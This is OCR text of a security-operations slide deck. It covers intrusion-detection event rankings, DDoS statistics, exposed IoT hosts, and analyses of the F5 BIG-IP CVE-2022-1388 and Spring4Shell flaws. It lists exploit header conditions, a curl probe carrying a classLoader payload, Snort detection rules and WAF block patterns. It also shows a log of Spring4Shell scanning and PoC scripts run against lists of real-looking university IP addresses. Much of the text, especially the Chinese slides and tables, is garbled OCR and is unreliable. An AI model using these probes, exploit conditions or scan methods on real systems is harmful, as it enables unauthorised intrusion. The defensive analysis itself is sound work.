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ASOC - Rollup - Event name

Sum of name.terms._count
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@timestamp.date_histogram.timestamp per day
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SERVER-WEBAPP Cisc...
SERVER-APACHE Apac...
SERVER-WEBAPP Multi...
SERVER-WEBAPP Axis ...
SERVER-APACHE Apac...
SERVER-OTHER Junipe...
MALWARE-BACKDOOR...
SERVER-APACHE Apac...
SERVER-WEBAFPP Atlas...
SERVER-WEBAPP Cisc...
SERVER-WEBAPP D-Lin...
MALWARE-CNC Embed...
SERVER-WEBAPP Word...
SERVER-APACHE Apac...
MALWARE-OTHER Php....
FILE-IDENTIFY Microso...
SERVER-WEBAPP F5 Bl...
SERVER-WEBAPP Apac...
SERVER-OTHER Hashic...
OS-WINDOWS Microso...
INDICATOR-SCAN SSH ...
MALWARE-CNC Win.Tr...
SERVER-WEBAPP Sprin...
SERVER-WEBAPP Solar...
MALWARE-OTHER con...
MALWARE-BACKDOOR...
SERVER-WEBAPP Sprin...

CEPVEDANER ADD Jays




I

Event Top50 (rollup)

name.terms.value: Descending ~ Count
SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt 64,929
SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 63,308
SERVER-WEBAFFP D-Link multiple products HNAP SOAPAction header command injection attempt 27,020
MALWARE-BACKDOOR MISC Linux rootkit attempt 24 688
SERVER-WEBAPP Drupal 8 remote code execution attempt 20,859
OS-WINDOWS Microsoft Windows SMB remote code execution attempt 20,183
MALWARE-BACKDOOR attempt 19,324
SERVER-OTHER Juniper Screen0S unauthorized backdoor access attempt 19,211
MALWARE-BACKDOOR MISC Linux rootkit attempt IrkrOx 17,285
MALWARE-BACKDOOR MISC rO0t attempt 17,074
OS-WINDOWS Microsoft Windows RDP MS_T120 channel bind attempt 15,521
MALWARE-BACKDOOR MISC rewt attempt 13,337
MALWARE-BACKDOOR MISC smdck attempt 12,980
SERVER-WEBAPFP Java ClassLoader access attempt 11,457

SERVER-WEBAPP DD-WRT httpd cgi-bin remote command execution attempt 11,337 @




Application W2

Event Top50 (rellup)

name.terms.value: Descending Count
SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 56,326
SERVER-WEBAPP PHPUnNIit PHP remote code execution attempt 51,788
SERVER-WEBAPP Apache HTTP Server httpd directory traversal attempt 30172
SERVER-WEBAPP Zeroshell Linux Router command injection attempt 28,786
SQL 1 = 1 - possible sql injection attempt 23,317
SERVER-WEBAFPP vBulletin pre-authenticated command injection attempt 17,904
SQL HTTP URI blind injection attempt 13,389
SQL url ending in comment characters - possible sgl injection attempt 11,3986
SERVER-WEBAPP WordPress wp-config.php access via directory traversal attempt 10,739
SQL generic sgl with comments injection attempt - GET parameter 8,749
SERVER-WEBAPP Spring Cloud Gateway Spring Expression Language injection attempt 7,138
SERVER-WEBAPP Oracle WebLogic Server remote code execution attempt 4,864
SERVER-WEBAPP SolarWinds Orion authentication bypass attempt 4,825
SQL use of sleep function in HTTP header - likely SQL injection attempt 4,734
SERVER-WEBAPP Cisco ASA directory traversal attempt 4,391
SERVER-WEBAPP Citrix ADC and Gateway information disclosure attempt 4375
SERVER-WEBAPP Pulse Secure SSL VPN arbitrary file read attempt 4313

@




REECNCELR

Event Top50 (rollup)

name.terms.value: Descending ~  Count
MALWARE-CNC Win.Trojan.MirrorBlast outbound connection 31,670
MALWARE-CNC Unix.Trojan.Mirai variant post compromise echo loader attemnpt 12,078

INDICATOR-COMPROMISE DNS request for known malware sinkhole domain iugerfsodpSifjaposdfjhgos... 10,440

MALWARE-BACKDOOR Arucer backdoor traffic - yes command attempt 10,087
MALWARE-CNC Unix.Trojan.Mirai variant post compromise activity 8,587
MALWARE-CNC known malicious SSL certificate - Odinaff CRC 8,193
MALWARE-CNC Win.Trojan.TorrentLocker/Teerac self-signed certificate 8,179
MALWARE-CNC Unix.Trojan.Mirai variant post compromise fingerprinting 5,793
MALWARE-CNC Win.Backdoor.Chopper web shell connection 5,355
MALWARE-CNC Torpig bot sinkhole server DNS lookup 4,229
MALWARE-CNC Win.Trojan.ZeroAccess inbound connection 3,955
MALWARE-OTHER Unix.Miner.Xbash variant dropped bash script 3,929
MALWARE-CNC Win.Trojan.Donvibs variant outbound connection 3,415
MALWARE-CNC Win.Trojan.Jadtre variant outbound connection 3,381
MALWARE-CNC User-Agent known malicious user-agent string SurfBear 2,929

MALWARE-OTHER Php.Webshell.AK74 inbound connection attempt 2,258 Q
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Event Top50 (rollup)

name.terms.value: Descending Count
INDICATOR-SCAN S5H brute force login attempt 51,570
SERVER-OTHER Remote Desktop Protocol brute force attempt 43,625
MALWARE-BACKDOOR HideSource backdoor attempt 13,605
FILE-IDENTIFY Microsoft emf file download request 3,308
SERVER-OTHER Remote Desktop Protocol brute force attempt-outbound 797
INDICATOR-SCAM S5H brute force login attempt-outbound 271
POLICY-OTHER eicar test string download attempt 313
MALWARE-OTHER SimpleTDS5 - page redirecting to a SimpleTDS 212
MALWARE-CNC Vicepass outbound connection initial request to the CNC sending system information 52
MALWARE-BACKDOOR ReGeorg socks proxy initial connection attempt 28
MALWARE-BACKDOOR HidePak backdoor attempt 27
MALWARE-OTHER SimpleTDS - request to go.php 25
POLICY-OTHER Pulse Connect Secure vulnerable URI access attempt 25
MALWARE-BACKDOOR ReGeorg socks proxy connection attempt 21
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network flood 1Pv4 UDP-FRAG | 2255259

network flood 1Pv4 UDP | 1:775.72

DOSS-NTP-reflected-monlist | 2261.62
DOSS-UDP-flood-80-Req  13.868
L4 Source or Destination Port Zero  1.823
SYN Flood HTTP  1.219
network flood IPv4 TCP-SYN  1.178
network flood IPv4 TCP-RST  0.21

network flood IPv4 TCP-SYN-ACK  0.007

0 5000 10000 15000
r;\fz\;v?g;f:\j(oﬁ network flood network flood  SYN Flood LI;leSs?iler;ct?oc:]r DOSS-UDP- Dr(e?f?jc-:tNerP—-
IPv4 TCP-RST IPv4 TCP-SYN HTTP flood-80-Req .
ACK Port Zero monlist
W #4511 0.007 0.21 1.178 1.219 1.823 13.868 2261.62
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1IP v |Port | * | Transpo: * |Shodan_Timestamp ~ | loT_service_type ~ Annotation
120 .33 443 1cp 20219/18 BRI SRR T iR
|120 .34 443 tcp 20210/16 EHRIHL R T AR
1120 143 443 1p 2021/9/16 FHRIFC $ERa RF iR
1140 RS 443 1cp 2021/0/19 FRHLG SRS ITE bR
140 253 443 1p 2021/9/19 SERERIN ZingE

|140 A9 80 tcp 20210719 $RRE BRI 3iREE

|140 DAY 80 tcp 2021/9/19 $ERE RS TineE

140 .187 143 1p 2021019 FHRER SRR T AR
140 113 1900 udp 20210/19 TR {A RS/ TIPS
140 51 80 tep 2021919 SRBEE 3in3E

140 .1 161 udp 20219/19

140 P01 443 wcp 2A210/19 BRI SRR iR
140 245 5001 tep 2021019 FRIL: SRR TE AR
140 .43 43 tcp 20210/19 WHFG SRR (T iR
140 162 5001 tep 2021/19 FHHL SERL T iR
140 PAS 80 tep 2021/9/19 SRR iRaE

140 172 43 1cp 2021/9/19 BRI SERR T iR
1140 DAY 80 tep 2021/9/19 $ERE R Rinae

1140 D6 4800 udp 20210119 SRR

1140 133 443 tep 20210/18 BRI 3 e
1140 121 21 tep 202109/18 ENFEH

140 40 520 udp 20210/18 $RRERR I miesamN
140 S| 80 tcp 2021/9/18 $RREER 1 38&%2

140 4 5001 1o 2021/9/18 &R, ERe (it

v TRule
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79100 188 210

« (CVE-2022-1388 2 F5 Networks 89 BIG-IP &R A ZEIBRE P H—EEER)E (CVSS
9.8) ' 3% F5 B 2022 &£ 5 B 4 H¥9MNE R

o IREOEFAEEMEINNESE - 438 F5 A9 iControl REST BX 8% - #EM=ZE BIG-
IP 247

« iControl REST 2—1& Web-based 2T/ HE - ol¥#¥1T BIG-IP &2 AHRE AL & B = 18

@ ASsz Knowledge Centers  Resources ﬁCVE_2022_1388 Detail
UNDERGOING REANALYSIS

This vulnerability has been modified and is currently undergoing reanalysis. Please check back soon to view the updated vulnerability
summary.

A\ May 04,2022 For details sbout recent vulnerabilities, refer to K55879220: Overview of F5 vulnerabilities (May 2022

Current Description

AskF5 Home | K23605346 On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5,
and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have
K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388 reached End of Technical Support (EoTs) are not evaluated

+view Analysis Description

Seve rity CvsS Version3.x  EESESLL P

Original Publication Date: May 04, 2022 Applies to (see versions): w CVSS 3.x Severity and Metrics:
Updated Date: May 17, 2022

Security Advisory

ﬁ CNA: F5 Networks Base Score: |[ERTTRIE Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Security Advisory Description
undisclosed requests may bypass iControl REST authentication. (CVE-2022-1388) NVD Anolysts use publicly available i i fate vector strings and CVSS scores. WWe also display any CVSS i ion provided within the
CVE List from the CNA.

Impact Note: The NVD and the CNA have provided the same score. When this occurs only the CNA information ic displayed, but the Acceptance Level icon for the

CNA s git h to signify

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to
execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

BERIZKIR ;. https://support.f5.com/csp/article/K23605346 ERZR ;. https://nvd.nist.gov/vuln/detail/CVE-2022-1388



https://nvd.nist.gov/vuln/detail/CVE-2022-1388
https://support.f5.com/csp/article/K23605346

B RE AR

« CVE-2022-1388 2= R F5 BY BIG-IP (All Modules) Frfs ARy iControl REST JofoH
o ZITHNIIEEE R F EEHBARBECRIAN) BN EE AR BRI TS HIREN G E)
«  TREEENRRIREFZEERN CVE-2021-22986 JRiE X @A EL - #RI 2 R REERmAG I

A=

NATIONAL VULNERABILITY DATABASE

VULNERABILITIES

A¥CVE-2021-22986 Detail

Current Description it slee
On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG- CVE Dictionary Entry:
1Q 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.¢.2, the iControl REST interface has an unauthenticated remote command executior CVE-2021-22986
vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated NVD Published Date:
03/31/2021
) ) NVD Last Modified:
+ View Analysis Description 04/05/2021
Source

Severity

CVSS 3.x Severity and Metrics:

w NIST: NVD Base Score: JEERS IR

VD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information providedwfn'lin the

F5 Networks

Vector: CV55:3 1/AV:-N/AC:L/PR:N/UIN/S:U/C:H/I:H/A:H

Note: NVD Analysts have published a CVSS score for this CVE based on publicly available information at the time of analysis. The CNA Ras not provided

i} . . o . 18
BERIGE ;. https://nvd.nist.gov/vuln/detail/CVE-2021-22986#vulnCurrentDescriptionTitle
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S22 BIG-IP (All modules) fRAIF

YV Vv ¥V Y VYV V

16.1.0-16.1.2
15.1.0-15.1.5
141.0-14.14
13.1.0-13.14
12.1.0 - 12.1.6 (End of Support)
11.6.1 - 11.6.5 (End of Support)

Product Branch Versions known to be Fixes introduced Severity CVSSy3 Vulnerable component or
vulnerable! in? score? feature
BIG-IP {all modules) 17x None 17.0.0 Critical 98 iControl REST
16.x 16.1.0-16.1.2 16.1.2.2
15x 15.1.0-1515 15.1.5.1
14.x 141.0-1414 14146
13x 131.0-13.14 13.15
12x 1210-1216 Will not fix
11x M61-165 Will not fix
BIG-1Q Centralized 8x None Mot applicable Mot MNone None
Management vulnerable
Tx None Mot applicable
F50S-A 1x None Mot applicable Mot None MNone
vulnerable
F50S8-C 1x None Mot applicable Mot None Naone
vulnerable
Traffix SDC bx None Mot applicable Mot MNone MNone
vulnerable

BRIZHER

: https://support.f5.com/csp/article/K23605346
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https://support.f5.com/csp/article/K23605346

.LnﬁEl

® HiplF5 BERCE&rE I RmEEL

BIG-IP 16.x : 16.1.2.2
BIG-IP 15.x : 15.1.5.1
BIG-IP14.x : 14.14.6
BIG-IP13.x : 13.1.3.5
BIG-IP 12.x : L% #&(E0S) - AEHE B
BIG-IP 11.x : {FIESZ3E(E0S) - AEH B RS

o EFHEIFMERAZMAREEFIEXEMAERLEEHEEL - BRI AXEHCEELIBEE
TV Z AR -

B - FBIRIEE FBRY AR EE

N

YV V.V V V VY

Recommended Actions

If you are running a version listed in the Versions known to be vulnerable column, you can eliminate this vulnerability by installing a version listed in the
Fixes introduced in column. If the Fixes introduced in column does not list a version for your branch, then no update candidate currently exists for that
branch and F5 recommends upgrading to a version with the fix (refer to the table).

If the Fixes introduced in column lists a version prior to the one you are running, in the same branch, then your version should have the fix.

BRI . https://support.f5.com/csp/article/K23605346

20
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D ERRIE

> EHEEBEMEEMIAK - 0j2Z 5 ERRrt 2 EIGEAMAE 2 EAER) !
o ZE|FFBRHE L self IP Uil =FH iControl REST 7T H
0 ENHZEEZEHAEHZRFETEA BIG-IP 2EEEEMEZE iControl REST T HE
® A% BIG-IP 5212 httpd R EE

Mitigation

Until it is possible to install a fixed version, you can use the following sections as temporary mitigations. These mitigations
restrict access to iControl REST to only trusted networks or devices, thereby limiting the attack surface

« Block iControl REST access through the self IP address

« Block iControl REST access through the management interface
» Modify the BIG-IP httpd configuration

ERHIE : https://support.f5.com/csp/article/K23605346

21
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B RERE-1

e IbEEE4E7E iControl REST 175

o AR MERIEIRCVE-2021-22986 % E—7% -

¢ MERARNEE

AN TAY
AR A

CVE-2022-1388mlAERB#BE 570

AN

77 ]

CVE-2021-22986miEl @ R A& E (BB IFEREBE D

EE0FBEHIRA HTTP request

WBEIRIE - =

ZAN—PA
a0 =2
Dyyq=kv

2) R InE R T 08 (RCE)

NS —H—iEaR e

K03009991: iControl REST unauthenticated remote command execution vulnerabili
22986

Original Publication Date: Mar 10, 2021
Updated Date: Apr 27, 2022

Applies to|

Security Advisory Description

The iControl REST interface has an unauthenticated remote command execution vulnerability. (CVE-2021-22986) I

K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388

0 Security Advisory

Original Publication Date: May 04, 2022
Updated Date: May 17, 2022

Security Advisory Description
| Undisclosed requests ma

y bypass iControl REST authentication. (CVE-2022-1388) 1

Applies to (see versions

BRI ¢ https://support.f5.com/csp/article/K03009991

ERIE : https://support.f5.com/csp/article/K23605346
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« FEwEINEFRGETEMINNERS D ERE
o« REFERABED R

Connection header 7B EIZX-F5-Auth-Token

X-F5-Auth-Token /BT

1
2
3. fEhost header® - —EZ=2Z localhost(t o] {5 127.0.0.1) - 3kConnection headerf& el
4

Auth header#Z M EIRSREZ Eadmin - MEBHBSES(NERBHEOILIKE)

> HRADTNEBSE@BARERE

Summary

Necessary conditions of a request for exploiting this vulnerability:

1. Connection header must include X-F5-Auth-Token
2. X-F5-Auth-Token header must be present
3. Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host

4. Auth header must be set with the admin username and any password

BERGE ; https://qgithub.com/horizon3ai/CVE-2022-1388

HTTP/1.1 header F2—&

HTTP/L1RET 47 EF S -

i FH header

¢ Cache-Control : FHE=FT5

I- Connetion : ZE ¥k header - EEHI=IE I
e Date : EIEHE]

e Pragma : fIEES

e Trailer : AEEIRA header — &

e Transfer-Encoding : IS EEZEMNERGEST
e Upgrade : FRAEMIZEE

* Via: KEEAREEENE

« Warning : #2840

S X-Forwarded-Host

7&K header
» Accept : PR EUEERFEERL
o Accept-Charset : EFEHIZEE
s Accept-Encoding : EREIANEERE

o Accept-Language : BEXLHISHES

« Authorization : HEFEASE I

o Expect : AFEARENEETS
o Form : BEHIEFEFEMIL

* Host : EXEHEIEHSRUE I

e |f-Match : [LEIEFEZ5C (ETag)
o |f-Modified-Since : LB ER B ER

23

ERHIE : https://ithelp.ithome.com.tw/articles/10204743



https://github.com/horizon3ai/CVE-2022-1388
https://ithelp.ithome.com.tw/articles/10204743

- BESEEEEETR:

Rule Documentation (1:59735:2)

Rule alert tcp $EXTERNAL_MET any -=> $HOME_MET EHTTP PORTY (msqg:"SERVER-WEBAPP F5 BIG-IP iControl remote code ﬂxc-cttmr" attempt”; flow:to_server,established;
content: "Connection:”; nocase:; http_header:; content:"X-F5-Auth”; distance:0; fast_pattern:; nocase:; http_header:; pcre:"/~Connection:[~\r\n]*?X-F5-Auth/Him";
metadata:policy balanced-ips drnp policy max-detect-ips drop, pDIle security-ips drop, ruleset EDlTIlel-Ilty.. service http_ reference: CVE, 2022- 1388; classtype: attempted USEr;
sid:59735; rev:2; gid:1; )

References PRule Documentation
CVE: 2022-1388

View Context Explorer

Close window

BEHRR AMRA R

1. INEARItcpBAR ; RIFIBAIR ; BIRERMEIL S FRVELRE(80 - 81 ~ 8080...55)
2. HERNAESE NMIREF

@ Connection: Talos provides the following Snort coverage for CVE-2022-1388:
@ X-F5-Auth

* Snort 2 SIDs: 59735
* Snort 3 SIDs: 300131

ERHIR : https://blog.talosintelligence.com/2022/05/threat-
advisory-critical-f5-big-ip-vuln.html

24
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224115 48 55 1R R AR R - 2

ASOC - Event name (Bar)

700 ® SERVER-WEBAPP FSEBIG.. §

600

Count

200

22 00:00 2022-05-29 00:00 2022-06-05 00:00 2022-06-12 00:00

%01 ik 2022

2022-05-08 00:00

deviceReceiptTime per 12 hours

ASOC - Event Category (Bar)

® attempted-user §

Count

100

2022-05-01 00:00 2022-05-08 00:00 2022-05-15 0000 2022-05-22 00:00 20:22-05-29 00:00 2022-06-05 00:00

— —
2022-06-12 00:00

deviceReceiptTime per 12 hours
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® Spring4Shell 2—{EEIH T2 ZLH5(RCE)RE - BRI ACVE-2022-22965 « %7 /A
frERSE=(9.87)

o [URmBHBIINELZMAAERE=-_AK - RER LEMREDERNESHMER)

o FHEMARE - HEEPoCEEI M HIREGIthub E

o [NHWmPEERHHEN REKNESH

IV GV TELHIVIVEY Laugiaury

NATIONAL VULNERABILITY DATABASE NW

\// 1
A\ D-Sec Company | News | Pet-HMR | Services References Contact

AKCVE-2022-22965 Detail
Spring4Shell (CVE-2022-22965) - -
o ) urrent Description
. S0 /e _ _
Official link: https:/tanzuvmware.com/security/cve-2022-22965 (31st March 2022) A SPrInE MV or Spring WEbFLUs pplcation runming on JOK 5+ ay be CVE Dictionary Entry:
vulnerable to remote code execution (RCE) via data binding. The specific CVE-2022-22965
Timeline exploit requires the application to run on Tomcat as a WAR deployment. If NVD Published Date:
. the application is deployed as a Spring Boot executable jar, i.e. the default, 04/01/2022
On March 29th, 2022, the member @80vul. from security research team KnownSec posted and itis not vulnerable to the explort, However. the nature of the vlnerability < NVD Last Modified:
later removed a screenshot in a tweet that showed a possible remote code execution vulnerability more general, and there may be other ways (o exploitit. i’”mﬂﬂ
c = . ] . . ource:
(RCE) against Spring Core. The researcher didn't provide any proof-of-concept (POC) details[1]. . —
- - . . View Analysis Description
The next day VX underground published a POC related to the vulnerability[2]. The situation
complicated because multiple vulnerabilities were found at the same time and for the Severity
Spring4Shell vulnerability there was no CVE number at that moment[3]. For more details see the CVSS 3.x Severity and Metrics:
tweet below from @th3_protoCOL. NISTINVD  Base Score: [T

e
BERIZKE ;. https://x41-dsec.de/pethmr/springshell/ T ——— ;
2 : e BERGE . https://nvd.nist.gov/vuln/detail/CVE-2022-22965
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https://nvd.nist.gov/vuln/detail/CVE-2022-22965

=
=

® RiESpringEH TR :
® HITIDKIRARBI(Z)ULE
® fEFApache TomcatffiZServleta s
o FEIXERIEJava web archive(WAR) - T EZ3ZE R IE I ZTomcatE 52
o ZILEZEUISpring-webmvcspring-webfluxB 1Bk 14
® Spring Framework 5.3.0%5.3.17 ~ 5.2.0%5.2.19 - IR ZBIEMMRA

Spring Framework Spring4Shell (CVE-2022-22965)

CRITICAL Nessus Plugin ID 153542
Am | Impacted?

BE REBE =XB
These are the requirements for the specific scenario from the report:
Synopsis
* Running on JDK 9 or higher BT ) Weo BREA RARS B IEREABNTRRNYE -
s Apache Tomcat as the Servlet container. ik
e Packaged as a traditional WAR and deployed in a standalone Tomcat instance. Typical Spring 5= L# Spring Framework 2SURHRAS 5.2.20 ZRIRIMRASL 6.3.18 ZATH 5.3.x - BlIE » AZHFE
: . . : SREE
Boot deployments using an embedded Servlet container or reactive web server are not e pEERE e _
) d -ZEEER EE  UDK 9+ FE7THY Spring MVC § Spring WebFlux E RS 0I5t RS 17
impacted. (RCE) BEFE - BENESAEREERENE Tomeat £IEE WAR FIEHT -

Spring Boot SJEiT i jar (BIFEERE)  BIFEZHBEEFE - L8 CEBYEEEE
BA= -

-MEFREERE  EREMT
-JDK 9 B S HRA

s spring-webmvc OF spring-webflux dependency.

&

s Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. AR

BRI : https://spring.io/blog/2022/03/31/spring-framework- S T TR SRS
rce-ea rly_a nNnou ncement - spring-webmvc 2§ spring-webflux {7

BRIZRIE : https://zh-tw.tenable.com/plugins/nessus/159542
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D EEEmAERERS A
® Spring B EE T4k 2l & hR AN (@wi# Z=4/15)

Spring Framework 5.3.19 ~ 5.2.218 Z B E# AR A
Spring Boot 2.6.7 ~ 2.5.135 Z B EHBIARA

o ELREEIRERTER

F+#RApache Tomcathr4<(10.0.20, 9.0.62, 8.5.785% 2 & E #THY IR )
fR4RkJ)avahk2~2!Java 8
AR Elavazipl(class) T RIE 4 (Fields)BYfE

Suggested Workarounds

The preferred response is to update to Spring Framework 5.3.18 and 5.2.20 or greater. If you have
done this, then no workarounds are necessary. However, some may be in a position where
upgrading is not possible to do quickly. For that reason, we have provided some workarounds below.
e Upgrading Tomcat
e Downgrading to Java 8

* Disallowed Fields

ERHE : https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
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t 4% % 15 Tt

AR AFIEE

ERERAERBEENBRRFH RS » A UERALTRE0X

1.58:% JDK KRS58

MEFRES? JDK hRASHSE @ AR SEE R ARREARES EET java -version 15T LIRS EITHRRIRRASASE ©

:~S java -version
openjdk version "11.0.14.1" 2622-62-08
Open]DK Runtime Environment (build 11.0.14.1+1-Ubuntu-0ubuntul.20.04)
Open]DK 64-Bit Server VM (build 11.6.14.1+1-Ubuntu-0Oubuntul.20.04, mixed mode, sharing)

:~$ find ./apache-tomcat-8.5.77/ -name "spring-beans*"
./apache-tomcatis.S.77/webapps/vu1nerable-1.0.0.0/WEB-INF/Iib/spring-beans-5.3.15.jar
249

MBRRAERRERHEFR 8 » BRAGTILEARE -
MBRRAERRSREFR 9 » AIREFE < 2 RUTER S EEZEENBE -

2. BEFF5 3 - WAF PEIE

THEEEARMNE (WAF) hEARABEUTFSR
class.*|, Class.*, *.class.*, *.Class.®

ERHIE : https://teamt5.org/tw/posts/spring-rce-zeroday-vulnerability/
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POCHZ =\ Il 45 R ACEE

IEEBASOCERBEMMEShodanE R - o BB L3R SpringfHF RIS 1 485
A28 = EPoCRZTVRIE B - st =2 B _EMIIPE R BACVE-2022-22965RV )% 1

root@Kkali: /home/kali/ T ®/spring4shell-scan-master |

/home/kali/F B /springkshell-scan-master
spring4shell-scan.py urls.txt

/home/kali/F & /Spring-cloud-function-SpEL-RCE-main
Spel RCE POC.py urls.txt
Tty $5% $343¢ 3¢ $3938 395 $9885 98885 S6868  $98 TP]_ EC
’ L 5 P 1 Ipq
EXCEPTION: HTTPConnectionPool(host='140.121.102.153', port=80): Max retries exceeded with url: / (Caused by N
ewConnectionError('<urllib3.connection.HTTPConnection object at 8x7f71218e40d0>: Failed to establish a new co $95 9% $% 98389 $5558 3¢ $5 95 95 85§ NTHU
nnection: [Errno 111] Connection refused')) $5 86 $8 $8 $s $6 88 $8 s $5658  §5  $8 ¢8
.classLoader%5B32k3dpqx5D=32k3dpq (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at § $548 88 $8 $$ $5 $5 $8 § 8 $$ $ ¢ HCRC
0x7£7121889760>: Failed to establish a new connection: [Errno 111] Connection refused')) $
3 o Shng el $$6 $389%  $338% 99888 88 585 8% TPZEC
EXCEPTION: HTTPConnectionPool(host='140.129.128.183", port=88): Max retries exceeded with url: / (Caused by C $
onnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f7121889f70>, 'Connection to 140.129.128.1
03 timed out. (connect timeout=4)')) = —EE YCRC
.classLoaderx58irh73is%5D=irh73is (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at
'0>g7f71718ac7f0>, ‘Connection to 140.129.128.103 timed out. (connect timeout=4)"')) TTRC
4 riet Goes ot keemLe, b S [-Ihttp://140.121.102.153 # il 8%
[-Inttp://140.131.255.139 & i
[-]http://163.17.136.67 4% M 485
[-Ihttp://163.19.80.219 4 il KPPRC
[-1http://140.131.255.139
[-Ihttp://148.118.119.75:8
[-1http://140.118. 2 1 TCR':
[-1http://140.118.77.1:8080 1% 0l 43 8¢
[-]nttp://140.114.49.132 & il A8 5 SINI[:.L&J.
[-http://163.19.80.219 4 il 25
[-]nttp://148.113.216.29 i iaet
[-1http://140.113.195.14 12 0 48 &
[-]http://210.60.55.251 # 438t
[-Ihttp://140.129.128.121 i T':'ta].

$ 3 $$ $$ $$ 8§ 85§ $$ $$ 5 S5 3% $% ILRC
$
$ F3133 I 1 $3 $8 $8 §S $$ $5 85 5 ¢85 $8

EXCEPTION: HTTPConnectionPool({host='140.121.102.153", port=808): Max retries exceeded with url: /?class.module

) $$
L it/ 10.120.128.105 | PAY : ersis]-iohs TYRC

EXCEPTION: HTTPConnectionPool(host='140.129.128.183", port=80): Max retries exceeded with url: /?class.module
[-]http://140.129.128.103 iy
[-Ihttp://140.129.128.121 7 ; TNR':
[-Ihttp://140.118.148.123:8080 |
[-1http://140.118.212.115: amm N iE HDRC
[-1http://120.101.94.32 1 M 48 &
[-Ihttp://120.105.129.216 4 M 4884 Other
[-1http://140.129.128.103 &
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MEENRNESEEREAEE?

1.al2E U TAA » REERES S IILGBEEE
1£ Spring RBuLFESE, » ¥ Spring HEREIE » X ALER Query » SERIEBEILREF1ESE -

&8 Query IF :

curl -v host:port/path?class.module.classloader.URLs%5B8%50=08

TEZAHIT Query # > WNR[EIFE HTTP Status 400 » RRIAEREIFEN -

:~$|curl -v http://localhost:8086/vulnerable-1.0.0.0/app?class.module.classLoader.URLs%5B0%5D=0
Trying 127.0.0.1:8080...
TCP_NODELAY set
Connected to localhost (127.0.0.1) port 8080 (#0)
GET /vulnerable-1.0.0.0/app?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.68.0
Accept: */*

Mark bundle as not supporting multiuse

EHZ:&:%E: text/html;charset=utf-8 esponse D{WP St'atlus @ E
Content-Language: en

Content-Length: 762

Date: Thu, 31 Mar 2022 09:47:37 GMT
Connec close

Closing connection @
<!doctype html><html lang="en"><head><title>HTTP Status 400 - Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} hi, h2, h3, b {color:whit
e;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;b
order:none;}</style></head><body><h1>HTTP Status 400 - Bad Request</hil><hr clas line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The server cannot or will not
process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).
</p><hr class— line" /><h3>Apache Tomcat/8.5.77</h3></body></html> ~S
S

:~$|curl -v http://localhost:8086/examples/serviets?class.module.classLoader.URLs%5B0%5D=0
Trying 127.6.6.1:80680...
TCP_NODELAY set
Connected to localhost (127.0.0.1) port 8080 (#0)
GET /examples/servlets?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.68.0
Accept: */*

:igl;/l;lfgd;.gzas not supporting multiuse E} Sponse B:'Jﬁﬁ) St’at‘u‘s @ #

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Location: /examples/servlets/?class.module.classLoader.URLs%5B0%5D=0
Content-Length: ©

Date: Thu, 31 Mar 2022 09:47:46 GMT

Connection #0 to host localhost left intact

BERZIR : https://teamt5.org/tw/posts/spring-rce-zeroday-vulnerability/
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B (PSHEEIERISIE

® HEIIPS_ERERISpring4Shell R BI AR HB51%
o JRAIFIETNBSFMPoCENALIRMNFERH EERTS

Rule Documentation (1:30790:8)

Rule Documentation (1:30791:6)

Rule Documentation (1:30792:8)

Rule Documentation (1:30793:6)

v Calpeonc il malchednic) \ Rule alert tcp SEXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Java ClassLoader access attempt”;
v server-webapp (1 matched rule) flow:to_server,established; content:"class[”; nocase:; http_uri:; content:"ClassLoader”; distance:0; fast_pattern:; nocase:; http_uri:;
{1:30790) SERVER-WEBAPP Java ClassLoader access attempt pere:"/class(\x5Sb\s*?[\x22x27 Imodule[\x22\x27]\s*?\x5d) ?\x5b\s™ 7| \x22\x2 7 | ClassLoader[\x22\x27]\s*?\x5d/Ui"; metadata:policy

balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, service http; reference:cve,2014-0112; reference:cve,2022-22965;
reference:url,cwiki.apache.org/confluence/display/Ww,/S2-021; reference:url,tanzu.vmware.com,/security/cve-2022-22965;
classtype:attempted-admin; sid:30793; rev:6; gid:1; )

(1:30791) SERVER-WEBAPP lava ClassLoader access attempt
(1:30792) SERVER-WEBAPP lava ClassLoader access attempt
(1:30793) SERVER-WEBAPP lava ClassLoader access attempt

References Rule Documentation
CVE: 2014-0112
CWE: 2022-22965

v Category (1 matched rule)
» server-webapp (1 matched rule)

{1:59416) SERVER-WEBAPP Java getRuntime remote code execution attempt .
Rule Documentation (1:59416:2)

